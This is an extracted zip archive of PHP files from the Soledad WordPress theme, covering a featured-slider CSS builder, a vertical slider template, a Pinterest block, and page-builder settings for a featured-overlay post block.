	$css_custom .= $block_id_css . ' .featured-style-13 .penci-owl-carousel .penci-item-1 .penci-image-holder:before{ padding-top:calc( ' . esc_attr( $atts['img_ratio'] ) . ' / 2 ); }';
	$css_custom .= $block_id_css . ' .featured-style-15 .penci-owl-carousel .penci-item-2 .penci-image-holder:before{ padding-top:calc( ' . esc_attr( $atts['img_ratio'] ) . ' / 2 ); }';
	$css_custom .= $block_id_css . ' .featured-style-25 .penci-owl-carousel .penci-item-1 .penci-image-holder:before{ padding-top:calc( ' . esc_attr( $atts['img_ratio'] ) . ' * 3/2 ); }';
}

// Title
if ( ! empty( $atts['title_color'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text-right h3,';
	$css_custom .= $block_id_css . ' .feat-text-right h3 a,';
	$css_custom .= $block_id_css . ' .feat-text h3 a,';
	$css_custom .= $block_id_css . ' .feat-text h3{ color:' . esc_attr( $atts['title_color'] ) . ' !important; }';
}

if ( ! empty( $atts['title_hcolor'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text h3 a:hover,';
	$css_custom .= $block_id_css . ' .feat-text-right h3 a:hover{ color:' . esc_attr( $atts['title_hcolor'] ) . ' !important; }';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['ptitle_fsize'],
	'font_style' => 'yes' == $atts['use_ptitle_typo'] ? $atts['ptitle_typo'] : '',
	'template'   => "{$block_id_css} .feat-text h3, {$block_id_css} .feat-text h3 a,{$block_id_css} .feat-text-right h3, {$block_id_css} .feat-text-right h3 a{ %s }",
) );
if ( ! empty( $atts['bptitle_fsize'] ) ) {
	$css_custom .= $block_id_css . ' .featured-area .penci-pitem-big .feat-text h3,';
	$css_custom .= $block_id_css . ' .featured-area .penci-pitem-big .feat-text h3 a{ color:' . esc_attr( $atts['bptitle_fsize'] ) . ' !important; }';
}

// Category
if ( ! empty( $atts['pcat_color'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text .featured-cat a,';
	$css_custom .= $block_id_css . ' .featured-style-35 .featured-cat a{ color:' . esc_attr( $atts['pcat_color'] ) . ' !important; }';
}

if ( ! empty( $atts['pcat_hcolor'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text .featured-cat a:hover,';
	$css_custom .= $block_id_css . ' .featured-style-35 .featured-cat a:hover{ color:' . esc_attr( $atts['pcat_color'] ) . ' !important; }';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['pcat_fsize'],
	'font_style' => 'yes' == $atts['use_pcat_typo'] ? $atts['pcat_typo'] : '',
	'template'   => "{$block_id_css} .feat-text .featured-cat a, {$block_id_css} .featured-style-35 .featured-cat a{ %s }",
) );

// Meta
if ( ! empty( $atts['pmeta_color'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text .feat-meta span,';
	$css_custom .= $block_id_css . ' .feat-text .feat-meta a,';
	$css_custom .= $block_id_css . ' .featured-content-excerpt .feat-meta span,';
	$css_custom .= $block_id_css . ' .featured-content-excerpt .feat-meta span a{ color:' . esc_attr( $atts['pmeta_color'] ) . ' !important; }';
}

if ( ! empty( $atts['pmeta_hcolor'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text .feat-meta a:hover,';
	$css_custom .= $block_id_css . ' .featured-content-excerpt .feat-meta span a:hover{ color:' . esc_attr( $atts['pmeta_hcolor'] ) . ' !important; }';
}

$pmeta_custom_markup = $block_id_css . ' .feat-text .feat-meta span,';
$pmeta_custom_markup .= $block_id_css . ' .feat-text .feat-meta a,';
$pmeta_custom_markup .= $block_id_css . ' .featured-content-excerpt .feat-meta span,';
$pmeta_custom_markup .= $block_id_css . ' .featured-content-excerpt .feat-meta span a';

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['pmeta_fsize'],
	'font_style' => 'yes' == $atts['use_pmeta_typo'] ? $atts['pmeta_typo'] : '',
	'template'   => $pmeta_custom_markup . "{ %s }",
) );

// Excerpt
if ( ! empty( $atts['pexcerpt_color'] ) ) {
	$css_custom .= $block_id_css . ' .featured-content-excerpt p';
	$css_custom .= $block_id_css . ' .featured-slider-excerpt p{ color:' . esc_attr( $atts['pexcerpt_color'] ) . ' !important; }';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['pexcerpt_fsize'],
	'font_style' => $atts['use_pexcerpt_typo'] ? $atts['pexcerpt_typo'] : '',
	'template'   => "{$block_id_css} .featured-content-excerpt p, {$block_id_css} .featured-slider-excerpt p{ %s }",
) );

//  Read More
if ( ! empty( $atts['readmore_color'] ) ) {
	$css_custom .= $block_id_css . ' .penci-featured-slider-button a{ color:' . esc_attr( $atts['readmore_color'] ) . ' !important;border-color:' . esc_attr( $atts['readmore_color'] ) . ' !important; }';
}

if ( ! empty( $atts['readmore_hcolor'] ) ) {
	$css_custom .= $block_id_css . ' .penci-featured-slider-button a:hover{ color:' . esc_attr( $atts['readmore_hcolor'] ) . ' !important; }';
}
if ( ! empty( $atts['readmore_hbgcolor'] ) ) {
	$css_custom .= $block_id_css . ' .penci-featured-slider-button a:hover{ border-color:' . esc_attr( $atts['readmore_hbgcolor'] ) . ' !important;background-color:' . esc_attr( $atts['readmore_hbgcolor'] ) . ' !important; }';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['readmore_fsize'],
	'font_style' => $atts['use_readmore_typo'] ? $atts['readmore_typo'] : '',
	'template'   => "{$block_id_css} .penci-featured-slider-button a{ %s }",
) );

if ( isset( $atts['speed'] ) && $atts['speed'] ) {
	$delay_time = $atts['speed'] / 1000 - 0.2;
	$css_custom .= $block_id_css . ' .penci-owl-carousel{--pcfs-delay:' . $delay_time . 's;}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $block_id_css, $responsive_spacing );
}

$css_custom .= Penci_Vc_Helper::get_bookmark_icon_css( $block_id_css, $atts );


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\܎_&    7  inc/js_composer/shortcodes/featured_slider/style-44.phpnu [        <?php
/**
 * Template part for Slider Style 44
 */
$image_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
?>
<div class="penci-slider44-wrapper">
    <div class="penci-slider44-thumb-wrapper">
        <div class="penci-slider44-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="5"
             data-direction="vertical" data-desktop="4" data-tablet="2" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider44-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                        <div class="penci-slider44-t-item">

                            <div class="pcslider-44-img">
                                <div class="penci-image-holder"
                                     style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                                     href="<?php the_permalink(); ?>"
                                     title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                            </div>
                            <div class="pcslider-44-ct">
                                <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                            </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider44-main-wrapper">
        <div class="penci-slider44-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-direction="vertical"
             data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider44-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     N\o
  
  2  inc/js_composer/shortcodes/pintersest/settings.phpnu [        <?php
vc_map( array(
	'base'          => "penci_pintersest",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pintersest/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Pinterest', 'soledad' ),
	'description'   => 'Pintersest Block',
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Enter the <strong style="color: #ff0000;">username</strong> or <strong style="color: #ff0000;">username/board_name</strong> for load images:', 'soledad' ),
				'param_name'  => 'pusername',
				'admin_label' => true,
				'std'         => 'thefirstmess/animals-cuteness',
				'default'     => 'thefirstmess/animals-cuteness',
				'description' => 'Example if you want to load a board has url <strong style="color: #ff0000;"><a href="https://www.pinterest.com/thefirstmess/animals-cuteness" target="_blank">https://www.pinterest.com/thefirstmess/animals-cuteness</a></strong> You need to fill <strong style="color: #ff0000;">thefirstmess/animals-cuteness</strong>',
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Numbers image to show:', 'soledad' ),
				'param_name' => 'pnumbers',
				'std'        => 9
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Cache life time ( unit is seconds ):', 'soledad' ),
				'param_name' => 'pcache',
				'std'        => 1200
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Display more link with username text?', 'soledad' ),
				'param_name' => 'pfollow',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			)
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\    2  inc/js_composer/shortcodes/pintersest/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$pusername = $pnumbers = $pcache = $pfollow = '';
$pfollow   = 'yes' == $pfollow;

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-pintersest';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'pintersest' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
            <div class="penci-pinterest-widget-container">
				<?php
				if ( ! $pusername ) {
					esc_html_e( 'Pinterest data error: pinterest data is not set, please check the ID', 'soledad' );
				}
				$pinboard = new Penci_Pinterest();
				$pinboard->render_html( $pusername, $pnumbers, $pcache, $pfollow );
				?>
            </div>
        </div>
    </div>
<?php

$id_pintersest = '#' . $block_id;
$css_custom    = Penci_Vc_Helper::get_heading_block_css( $id_pintersest, $atts );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_pintersest, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\WN  WN  B  inc/js_composer/shortcodes/pc_single_featured_overlay/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_featured_overlay",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_featured_overlay/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Featured Overlay', 'soledad' ),
	'description'   => 'Post Builder - Featured Overlay',
	'controls'      => 'full',
	'params'        => array_merge( array(

		array(
			'type'             => 'textfield',
			'param_name'       => '_desc_typo_heading',
			'heading'          => esc_html__( 'General Settings', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Enable Parallax on Featured Image', 'soledad' ),
			'param_name'       => 'penci_enable_jarallax_single',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Featured Image on Top', 'soledad' ),
			'param_name'       => 'penci_post_thumb',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size', 'soledad' ),
			'param_name'       => 'img_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Mobile Size', 'soledad' ),
			'param_name'       => 'img_msize',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'penci_slider',
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'heading'          => esc_html__( 'Image Ratio (in %)', 'soledad' ),
			'param_name'       => 'img_msize',
			'edit_field_class' => 'vc_col-sm-6'
		),

		// Post Meta
		array(
			'type'             => 'textfield',
			'param_name'       => '_overlay_content_heading',
			'heading'          => esc_html__( 'Overlay Content', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Text Align', 'soledad' ),
			'param_name'       => 'content_overlay_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Content Align', 'soledad' ),
			'param_name'       => 'content_overlay_calign',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Breadcrumb', 'soledad' ),
			'param_name'       => 'hide_breadcrumb',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Title', 'soledad' ),
			'param_name'       => 'hide_title',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Sub Title', 'soledad' ),
			'param_name'       => 'hide_subtitle',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Categories', 'soledad' ),
			'param_name'       => 'penci_post_cat',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Meta', 'soledad' ),
			'param_name'       => 'hide_info',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Post Meta
		array(
			'type'             => 'textfield',
			'param_name'       => '_desc_typo_heading',
			'heading'          => esc_html__( 'Post Meta', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Meta Text Align', 'soledad' ),
			'param_name'       => 'meta_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Meta Label Text', 'soledad' ),
			'param_name'       => 'hide_meta_label',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Justify Align?', 'soledad' ),
			'param_name'       => 'justify_align',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Divider Character', 'soledad' ),
			'param_name'       => 'remove-divider',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Spacing Between Meta', 'soledad' ),
			'param_name'       => 'meta-item-spacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Author', 'soledad' ),
			'param_name'       => 'penci_single_meta_author',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Author Avatar', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Borders Radius', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar_br',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Spacing', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar_sp',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Avatar Width', 'soledad' ),
			'param_name'       => 'penci_avatar_w',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Author Icon?', 'soledad' ),
			'param_name'       => 'penci_single_meta_ava_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Date', 'soledad' ),
			'param_name'       => 'penci_single_meta_date',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Date Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_date_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Comment', 'soledad' ),
			'param_name'       => 'penci_single_meta_comment',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Comment Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_comment_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post View', 'soledad' ),
			'param_name'       => 'penci_single_show_cview',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post View Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_view_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Reading Time', 'soledad' ),
			'param_name'       => 'penci_single_hreadtime',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Reading Time Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_reading_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// General Style
		array(
			'type'             => 'textfield',
			'param_name'       => '_general_style',
			'heading'          => esc_html__( 'General Style', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Overlay Background Color', 'soledad' ),
			'param_name'       => 'overlay_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Content Background Color', 'soledad' ),
			'param_name'       => 'overlay_ctbgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_slider',
			'heading'          => esc_html__( 'Content Width', 'soledad' ),
			'param_name'       => 'overlay_ctw',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_slider',
			'heading'          => esc_html__( 'Content Padding', 'soledad' ),
			'param_name'       => 'overlay_ctpd',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_slider',
			'heading'          => esc_html__( 'Content Border Radius', 'soledad' ),
			'param_name'       => 'overlay_ctbdr',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Overlay Align', 'soledad' ),
			'param_name'       => 'overlay_align',
			'value'            => array(
				'Left'   => 'margin-right: auto !important',
				'Center' => 'margin-left: auto !important; margin-right: auto !important;',
				'Right'  => 'margin-left: auto !important',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),

		// Breadcrumb Style
		array(
			'type'             => 'textfield',
			'param_name'       => '_breadcrumb_style',
			'heading'          => esc_html__( 'Breadcrumb Style', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Breadcrumb Text Color', 'soledad' ),
			'param_name'       => 'breadcrumb_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Breadcrumb Text Hover Color', 'soledad' ),
			'param_name'       => 'breadcrumb_lhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Categories Style
		array(
			'type'             => 'textfield',
			'param_name'       => '_categories_style',
			'heading'          => esc_html__( 'Categories Style', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Category Style', 'soledad' ),
			'param_name'       => 'cat_pre_style',
			'value'            => array(
				'Default' => '',
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Color', 'soledad' ),
			'param_name'       => 'cat_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Link Color', 'soledad' ),
			'param_name'       => 'cat_lcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Link Hover Color', 'soledad' ),
			'param_name'       => 'cat_lhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Background Color', 'soledad' ),
			'param_name'       => 'cat_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Background Hover Color', 'soledad' ),
			'param_name'       => 'cat_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Border Color', 'soledad' ),
			'param_name'       => 'cat_bcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Border Hover Color', 'soledad' ),
			'param_name'       => 'cat_bhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Category Item Border', 'soledad' ),
			'param_name'       => 'cat_border',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Category Border Style', 'soledad' ),
			'param_name'       => 'cat_border_style',
			'group'            => $group_color,
			'value'            => array(
				'Dotted' => 'dotted',
				'Dashed' => 'dashed',
				'Solid'  => 'solid',
				'Double' => 'double',
				'Groove' => 'groove',
				'Ridge'  => 'ridge',
				'Inset'  => 'inset',
				'Outset' => 'outset',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Category Border Radius', 'soledad' ),
			'param_name'       => 'cat_border_radius',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Category Divider Character', 'soledad' ),
